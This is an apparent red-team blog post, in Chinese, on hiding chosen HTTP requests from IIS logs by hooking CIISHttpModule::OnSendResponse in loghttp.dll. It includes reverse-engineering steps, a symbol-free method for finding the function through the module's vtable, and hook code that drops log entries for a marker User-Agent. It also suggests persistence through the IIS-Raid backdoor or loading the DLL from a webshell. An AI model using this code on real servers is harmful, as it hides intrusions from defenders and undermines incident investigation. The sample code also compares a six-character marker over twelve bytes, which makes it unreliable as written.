在攻防对抗过程中,为了防止蓝队从IIS日志中分析到有用的信息,需要对IIS特定日志进行隐藏。
定位写日志逻辑
通过Process Monitor查看
可以看到日志文件实际是由system进程,确切的说是由http.sys模块创建,并写入。
http.sys是windows处理http相关请求的模块,http.sys是一个内核模块,
如果我们要去修改,这几乎是不可能,实施成本太高了,线索似乎就断了。
IIS native 模块
IIS的基本流程如图,可以看到HTTP Logging
属于Native模块
loghttp.dll
最终定位到IIS的日志是由native模块loghttp.dll实现
其路径在C:\Windows\System32\inetsrv\loghttp.dll
定位日志关键逻辑
在IIS模块中,可通过导出RegisterModule来告诉IIS关心的阶段
IIS通知回调注册
对于一个IIS模块而言,可在RegisterModule中
通过SetRequestNotifications
注册不同通知回调来实现特定功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #define RQ_BEGIN_REQUEST 0x00000001 #define RQ_AUTHENTICATE_REQUEST 0x00000002 #define RQ_AUTHORIZE_REQUEST 0x00000004 #define RQ_RESOLVE_REQUEST_CACHE 0x00000008 #define RQ_MAP_REQUEST_HANDLER 0x00000010 #define RQ_ACQUIRE_REQUEST_STATE 0x00000020 #define RQ_PRE_EXECUTE_REQUEST_HANDLER 0x00000040 #define RQ_EXECUTE_REQUEST_HANDLER 0x00000080 #define RQ_RELEASE_REQUEST_STATE 0x00000100 #define RQ_UPDATE_REQUEST_CACHE 0x00000200 #define RQ_LOG_REQUEST 0x00000400 #define RQ_END_REQUEST 0x00000800
#define RQ_CUSTOM_NOTIFICATION 0x10000000 #define RQ_SEND_RESPONSE 0x20000000 #define RQ_READ_ENTITY 0x40000000 #define RQ_MAP_PATH 0x80000000
|
一个RegisterModule例子如下,注册RQ_BEGIN_REQUEST之前和之后两个通知回调
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| #define _WINSOCKAPI_ #include <windows.h> #include <sal.h> #include <httpserv.h>
class MyHttpModule : public CHttpModule { public:
REQUEST_NOTIFICATION_STATUS OnBeginRequest( IN IHttpContext * pHttpContext, IN IHttpEventProvider * pProvider ) { UNREFERENCED_PARAMETER( pHttpContext ); UNREFERENCED_PARAMETER( pProvider ); WriteEventViewerLog("OnBeginRequest"); return RQ_NOTIFICATION_CONTINUE; }
REQUEST_NOTIFICATION_STATUS OnPostBeginRequest( IN IHttpContext * pHttpContext, IN IHttpEventProvider * pProvider ) { UNREFERENCED_PARAMETER( pHttpContext ); UNREFERENCED_PARAMETER( pProvider ); WriteEventViewerLog("OnPostBeginRequest"); return RQ_NOTIFICATION_CONTINUE; }
MyHttpModule() { m_hEventLog = RegisterEventSource( NULL,"IISADMIN" ); }
~MyHttpModule() { if (NULL != m_hEventLog) { DeregisterEventSource( m_hEventLog ); m_hEventLog = NULL; } }
private:
HANDLE m_hEventLog;
BOOL WriteEventViewerLog(LPCSTR szNotification) { if (NULL != m_hEventLog) { return ReportEvent( m_hEventLog, EVENTLOG_INFORMATION_TYPE, 0, 0, NULL, 1, 0, &szNotification, NULL ); } return FALSE; } };
class MyHttpModuleFactory : public IHttpModuleFactory { public: HRESULT GetHttpModule( OUT CHttpModule ** ppModule, IN IModuleAllocator * pAllocator ) { UNREFERENCED_PARAMETER( pAllocator );
MyHttpModule * pModule = new MyHttpModule;
if (!pModule) { return HRESULT_FROM_WIN32( ERROR_NOT_ENOUGH_MEMORY ); } else { *ppModule = pModule; pModule = NULL; return S_OK; } }
void Terminate() { delete this; } };
HRESULT __stdcall RegisterModule( DWORD dwServerVersion, IHttpModuleRegistrationInfo * pModuleInfo, IHttpServer * pGlobalInfo ) { UNREFERENCED_PARAMETER( dwServerVersion ); UNREFERENCED_PARAMETER( pGlobalInfo );
return pModuleInfo->SetRequestNotifications( new MyHttpModuleFactory, RQ_BEGIN_REQUEST, RQ_BEGIN_REQUEST ); }
|
loghttp.dll 中的注册逻辑
可以看到RegisterModule中注册RQ_SEND_RESPONSE
回调,其HttpModuleFactory为CIISModuleFactory
HttpModuleFactory的作用是通过其GetHttpModule
初始化HttpModule
在loghttp.dll中,返回this+8,此值可在RegisterModule中看到为&CIISHttpModule::vftable
1 2 3 4 5 6
| __int64 __fastcall CIISModuleFactory::GetHttpModule( CIISModuleFactory *this, struct CHttpModule **a2, struct IModuleAllocator *a3) { *a2 = (CIISModuleFactory *)((char *)this + 8); return 0i64; }
|
所以我们只需要关注CIISHttpModule::OnSendResponse即可,因为loghttp.dll只注册了RQ_SEND_RESPONSE
回调
动态调试确认
通过动态调试,nop掉CIISHttpModule::OnSendResponse发现,日志已不在记录。
注意:猜测由于缓存问题,日志并非立即写入,如果想看到效果可以停止IIS,日志会立即刷新。
定位OnSendResponse函数地址
在IDA中之所以能直接定位OnSendResponse地址,是因为我们加载了符号文件。
但是要工具化,必然不能依赖于符号,或者手动定位。
那如何准确定位其函数地址呢?
可以看到RegisterModule代码中其实包含了CIISHttpModule::vftable
于是思路涌上心头:
实现一个假的IHttpModuleRegistrationInfo叫MyHttpModuleRegistrationInfo(RegisterModule的第二个参数)
调用loghttp.dll的RegisterModule,它会主动调用MyHttpModuleRegistrationInfo的SetRequestNotifications函数
在我们SetRequestNotifications函数中我们可以得到CIISModuleFactory实例
CIISModuleFactory的第一个成员就是CIISHttpModule的虚表
通过CIISHttpModule的虚表和偏移就得到了CIISHttpModule::OnSendResponse函数
hook并实现过滤日志
如下代码实现了当UA中包含特定字符串时,直接返回,也就不会记录日志了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| typedef REQUEST_NOTIFICATION_STATUS(NTAPI* pFnOnLogRequest)( CHttpModule* This, IHttpContext* pHttpContext, IHttpEventProvider* pProvider ); REQUEST_NOTIFICATION_STATUS MyOnLogRequest( CHttpModule* This, IHttpContext* pHttpContext, IHttpEventProvider* pProvider) { USHORT ualen = 0,i=0; PCSTR ua = pHttpContext->GetRequest()->GetHeader(HttpHeaderUserAgent, &ualen); if (ua) { for (; i < ualen; i++) { if (RtlCompareMemory(&ua[i], "xxxxxx", 12) == 12) { return RQ_NOTIFICATION_CONTINUE; } } } return pOldpOnLogRequest(This, pHttpContext, pProvider); }
|
持久化
方法1
可以扩展https://github.com/0x09AL/IIS-Raid在权限维持的基础上,也一并实现日志的隐藏。
安装后就可以既保证持久化,又保证权限维持
方法2
可以在webshell中调用LoadLibrary
来加载我们隐藏日志的dll
参考资料
https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/introduction-to-iis-architecture
https://docs.microsoft.com/en-us/iis/develop/runtime-extensibility/develop-a-native-cc-module-for-iis
https://docs.microsoft.com/en-us/iis/web-development-reference/native-code-api-reference/request-processing-constants
https://docs.microsoft.com/en-us/iis/web-development-reference/native-code-api-reference/chttpmodule-onbeginrequest-method